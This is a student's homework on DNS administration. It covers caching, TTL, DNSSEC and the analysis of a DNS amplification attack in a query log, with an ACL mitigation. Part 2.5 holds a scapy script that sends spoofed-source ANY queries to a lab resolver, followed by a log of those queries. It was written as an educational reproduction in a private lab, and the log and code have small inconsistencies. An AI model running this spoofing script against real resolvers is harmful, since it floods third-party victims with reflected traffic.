

NASA Homework #6

Student Name: 林楷恩

Student ID: b07902075

Network Administration

1 Short Answers

1. If a domain name is associated with multiple IPs, and the DNS server sends this list of IPs in different order each times it responds to a new client, then the traffic will be directed to different servers on different IPs. We can benefit from such result in two aspects: **load balancing** and **fault-tolerant** with this trick which is relatively simple compared with other serious load distribution softwares.

* References

- https://en.wikipedia.org/wiki/Round-robin_DNS
2. (1) When a domain name is queried, a recursive server will first search for the record in its cache, and if the record is in the cache database, it just needs to read it and return it. That is, a DNS cache is used when the same record is queried within a specific period of time(TTL).
(2)
 - **From the view of recursive server:** If a domain name is frequently queried, without cache, the recursive server will do the same thing and obtain the same result again and again, which is really a waste of resource. With cache properly stored in local, the server ensures that within a specific period of time it will resolve a domain name just once.
 - **From the view of authoritative server:** Without cache, the recursive servers will resolve the same domain name again and again, and this process includes querying authoritative servers. Thus, cache also benefits authoritative servers by reducing the number of unnecessary queries.
 3. (1) *DNS propagation time* is the time took to update any changes you make to your domain name across the network(i.e. refresh all of the cache on the network). TTL(Time To Live) is a field in a DNS record. It indicates how long the record should be preserved in cache. The server refresh the cache only after the TTL expires. Hence, the longer the TTL, the longer the propagation time.
(2)
 - **Higher:** If we have a record which is frequently queried and seldom modified, then we would like to set a higher TTL. As a result, we can reduce the load of the server. For example, the **NS** record of **edu.** has a high TTL of **172800** seconds, because the IP of these name servers are seldom changed and they are frequently queried.
 - **Lower:** If we have a specific service that is load-balanced across logical subnets, we would like to set a lower TTL. The short TTL lets the load balancer react quickly to inoperative servers and denial of service attacks. For example, **reddit.com** has 4 IP addresses associated with it, and the TTL of them is all **300**, which is rather low. It helps control the traffic lively by changing the answer it gives to clients every time the records get expired.

* References

- <https://www.inmotionhosting.com/support/domain-names/dns-nameserver-changes/domain-names-dns-changes>
- <http://social.dnsmadeeasy.com/blog/long-short-ttls/>
- <https://serverfault.com/questions/388289/what-are-the-benefits-of-a-high-ttl-for-dns>
- UNIX and Linux System Administration Handbook, page 508.

4. (1) **Threat Model:** Since original DNS does not have a strong authentication mechanism, the attacker can easily construct some fake DNS responses with forged source IP, and pretend to be the authoritative servers which send back the answers. The recursive server who make the query then accepts this response, caching the malicious data, and poses a risk to every client who ask the server for this record. These users may be directed to a fake service, and send some important information to the attacker, like password.

(2) **How DNSSEC mitigates it:**

Generally, DNSSEC strengthens authentication using digital signatures based on public key cryptography. Every DNS zone has a public/private key pair. The zone owner use the zone's private key to sign DNS data in the zone and generate digital signatures over that data. And the public key is published for anyone to retrieve. Then, a recursive resolver which receives the data can use the public key to validate the authenticity of it. If the digital signature is not valid, the server discards the data and returns an error to the users.

Since the attackers do not have the private key, they are not able to sign the data correctly. Their forged responses would not be accepted by the recursive servers. Thus, the cache-poisoning attack can no longer take effect with original method.

* **References**

- <https://www.icann.org/resources/pages/dnssec-what-is-it-why-important-2019-03-05-en>

2 DnsDoOmSday

1. • **In query.log:** I find a unusual number of queries for type ANY of `activum.nu` with client IP of 168.95.98.254. More weirdly, only the queries from 168.95.98.254 continuously queried the same domain name(`activum.nu`), while queries from other IP are evenly distributed on about 21 domain names(like `youtube.com`, `www.csie.ntu.edu.tw`)

– **Simple Statistics:**

count	client IP
10988	140.112.30.32
11101	140.112.30.33
11087	140.112.30.34
11151	140.112.30.35
11143	140.112.30.36
11169	168.95.98.250
11278	168.95.98.252
22083	168.95.98.254
100000	

- **In named.conf.options:** I notice that the DNS server is configured to be a recursive server and `allow-recursion` is set to `any`. That means that anyone can make a recursive query to this server(i.e. an open domain name server). Basically, this configuration can be dangerous.
2. Based on the observation above, I think it might be a **DNS amplification attack**, because of the unusual number of large ANY queries from the same IP address.

During the process of **DNS amplification attack**, the attacker makes requests to an open DNS resolvers(168.95.98.200 in this case) with a **spoofed source IP address**(168.95.98.254 in this case), which is the address of the targeted victim. The resolver then believes that these queries are from the fake source IP, so it sends the responses to the victim, flooding its network and paralyzing its service. To create a large amount of traffic which is enough to overwhelm the target with the least resource utilized, attackers choose a domain name with large response(`activum.nu` in this case). The strength of this attack is determined by **Amplification Factor**, which is the reponse-to-query ratio of the packet size.

* **References**

- <https://www.imperva.com/learn/application-security/dns-amplification/>
- <https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/>

3.
 - **identity of victim:** Since all the queries of `activum.nu` ANY's source IP is 168.95.98.254, 168.95.98.254 is the victim of the attack.
 - **identity of culprit:** Since the source IP addresses are all forged, I cannot know the real IP of the attacker in `query.log`.
 - **attack vector:** The attacker take advantage of the open recursive DNS server, using its responses to flood the victim network.
 - **estimation of resources needed to launch attack:** Each query has a size of about 80 bytes. The attacker made 22083 queries in about 4 hours. Thus, it took about **1kbit/sec** bandwidth of the attacker.
 - **estimation of strength of attack:** Each response has a size of about 3000 bytes. The **Amplification Factor** is $3000 \div 80 = 37.5$, then I can estimate the bandwidth occupied by the malicious traffic, which is: $1kbit/sec \times 37.5 = \mathbf{37.5kbit/sec}$

4. Don't allow anyone except hosts in local network to make recursive queries. It can be done by **Access Control List**, for example:

```
acl "trusted" {
    192.168.1.0/24;
    localhost;
};
options {
    ...
    allow-recursion { trusted; };
    ...
};
```

5. (a) **Network Topology:**

Identity	IP address
name server	192.168.1.103
victim	192.168.1.104
attacker	192.168.1.106

- (b) **bind9 configuration:** basically the same as the provided configuration files, with some minor changes to suit the environment.
- (c) **Attacker's script:** I use python3's scapy module to make and send forged queries. The code is as below (I only make 100 times of queries, just for demo). I also enable **EDNS0** to eliminate the packet size restriction, and enable **DNSSEC** to obtain larger packet size:

```
from scapy.all import *
import random

target = "192.168.1.104"
ns = "192.168.1.103"
ip = IP(src=target, dst=ns)
udp = UDP(sport=random.randint(10000, 30000), dport=53)
qd = DNSQR("activum.nu", qtype="ALL", qclass="IN")
ar = DNSRRDPT(rclass=4096)

for i in range(100):
    dns = DNS(rd=1, id=random.randint(10000, 30000), qd=qd, ar=ar)
    req = (ip/udp/dns)
    send(req)
```

[illegible]

1	31-May-2019	11:52:57.644	client	192.168.1.104#29561	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
2	31-May-2019	11:57:02.482	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
3	31-May-2019	11:57:04.536	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
4	31-May-2019	11:57:06.593	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
5	31-May-2019	11:57:08.648	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
6	31-May-2019	11:57:10.696	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
7	31-May-2019	11:57:12.743	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
8	31-May-2019	11:57:14.868	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
9	31-May-2019	11:57:16.883	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
10	31-May-2019	11:57:18.910	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
11	31-May-2019	11:57:20.958	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
12	31-May-2019	11:57:23.012	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
13	31-May-2019	11:57:25.059	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
14	31-May-2019	11:57:27.105	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
15	31-May-2019	11:57:29.148	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
16	31-May-2019	11:57:31.182	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
17	31-May-2019	11:57:33.238	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
18	31-May-2019	11:57:35.296	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
19	31-May-2019	11:57:37.349	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
20	31-May-2019	11:57:39.406	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
21	31-May-2019	11:57:41.451	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
22	31-May-2019	11:57:43.502	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
23	31-May-2019	11:57:45.561	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
24	31-May-2019	11:57:47.612	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
25	31-May-2019	11:57:49.664	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
26	31-May-2019	11:57:51.703	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
27	31-May-2019	11:57:53.740	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
28	31-May-2019	11:57:55.793	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
29	31-May-2019	11:57:57.844	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)
30	31-May-2019	11:57:59.898	client	192.168.1.104#19506	(activum.nu): query: activism.nu IN ANY +ED	(192.168.1.103)

- <https://kb.isc.org/docs/aa-00269>
- <https://www.codelocket.com/post/2018-02-04/dns-amplification-basics>
- <http://lost-and-found-narihiro.blogspot.com/2014/01/scapy-send-any-queries-by-enabling-edns0.html>
- Discuss with B07902001, B07902055, B07902064